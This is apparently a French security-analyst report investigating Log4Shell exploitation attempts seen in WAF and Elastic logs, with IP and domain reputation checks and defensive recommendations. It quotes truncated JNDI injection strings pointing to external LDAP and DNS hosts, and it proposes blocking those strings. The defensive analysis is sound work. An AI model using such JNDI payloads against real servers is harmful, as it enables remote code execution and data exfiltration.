Rapport d'investigation – Nombre erreurs élevé sur le WAF

Logs avec status 503 ayants ete bloqué par le waf (39) :

*J'observe plusieurs requêtes avec des URL contenant des chaînes de **type ${jndi:ldap://...} ou ${jndi:dns://...},** typiques de l'exploitation de la vulnérabilité Log4Shell.*

Cela suggère que l'attaquant essaie d'exploiter la vulnérabilité de Log4j pour forcer le serveur à résoudre une ressource à distance via JNDI.

Phase d'exploitation via LDAP et DNS :

*Les requêtes avec **${jndi:ldap://78.34.3.1:1389/...} et ${jndi:dns://graffa.basics-shelter.corp}** indiquent des tentatives de contact avec des serveurs externes contrôlés par l'attaquant.*

- Dans le cas de LDAP, l'attaquant essaie de faire exécuter du code malveillant hébergé sur le serveur LDAP.

- Dans le cas de DNS, il peut tenter de récupérer des informations supplémentaires sur le serveur vulnérable.

LDAP est souvent utilisé pour exécuter du code à distance, tandis que DNS pourrait être utilisé pour une reconnaissance ou l'exfiltration de données.

Blocage par le WAF :

Les logs en status 503 et l'action "block" indiquent que le WAF a réussi à bloquer certaines tentatives d'exploitation (39/100). 61 requêtes sont passées.

**Le code 503 est généralement associé à une indisponibilité temporaire du service.*

Logs Elastic :

Plusieurs des URL incluent des domaines ou des adresses IP (78.34.3.1, graffa.basics-shelter.corp, grecofood.com).

Analyse des IPs et des URLs :

Analyse IP 78.34.3.1 dans requêtes http :

*Bien que l'adresse **IP 78.34.3.1** ne semble pas être actuellement signalée comme malveillante, elle pourrait être utilisée de manière temporaire ou pour des attaques spécifiques.*

Analyse des domaines :

- Le domaine graffa.basics-shelter.corp : Aucune information supplémentaires.

- Le domaine **grecofood.com** : Aucun signalement d'activité malveillante , **ce domaine est lié à cette adresse IP 74.208.236.236.**

- Vérification IP 74.208.236.236 (Virustotal) :

Propriétaire : L'adresse IP appartient au réseau IONOS SE (autonomous system AS8560), un grand fournisseur d'hébergement basé aux États-Unis.

Aucune alerte ou signalement de cette adresse IP comme étant malveillante par les 94 fournisseurs de sécurité analysés.

Relations (Passive DNS Replication) :

Plusieurs domaines ont été résolus par cette adresse IP, dont :

- aussiesuppsmorayfield.com.au

- deefleming-associates.com

- templechocolates.org

- possumtrotfilmimpact.com

Je n'ai rien trouvé d'anormale sur ces domaines, excepté ***"aussiesuppsmorayfield.com.au"***

Détails de l'analyse domain "aussiesuppsmorayfield.com.au" (Virustotal) :

Aucun fournisseur de sécurité n'a signalé ce domaine comme malveillant, y compris des acteurs majeurs comme Google Safebrowsing, ESET, et Kaspersky.

Résolutions DNS passées :

Le domaine a été associé à des adresses IP avec des détections dans le passé*, notamment 99.83.154.118, 198.54.117.199, 198.54.117.198, 198.54.117.197, 198.54.117.200, 162.255.119.68, 203.170.82.73.*

Plus récemment, il est lié à l'IP ***74.208.236.236****, qui n'a montré aucune détection.*

Historique :

Le domaine a été mis à jour pour la dernière fois en juin 2022.

Chronologie de l'attaque Log4Shell :

- Première phase : Les requêtes contiennent des chaînes comme ${jndi:ldap://...} et ${jndi:dns://...}, ce qui correspond aux tentatives classiques d'exploitation de la vulnérabilité Log4Shell. Ces chaînes tentent de contacter des serveurs externes pour exécuter des commandes à distance.

- Deuxième phase : Le WAF détecte ces tentatives et les bloque (en partie), renvoyant un code 503 dans chaque cas.

- Répétition des tentatives : L'attaquant semble tenter différentes requêtes avec des variations mineures dans les paramètres pour voir si une des tentatives passe au travers des défenses.

En résumé :

Il semble que plusieurs tentatives d'exploitation via la vulnérabilité Log4Shell aient été faites, le WAF a réussi à en bloquer certaines mais pas toutes.

En tout je trouve dans Elastic 100 résultats associés à ces chaines ${jndi:ldap://...} et ${jndi:dns://...}, dont seulement 39 sont bloquées.

Recommandations :

Blocage IPs : Bloquer IPs malveillantes ainsi que celles non bloquées par le WAF.

Bloquer les chaines : ${jndi:ldap://...} et ${jndi:dns://...}.

Analyse : Ajuster les règles WAF.

Mise à jour : Patchs pour les vulnérabilités.

Sensibilisation : Informer les équipes.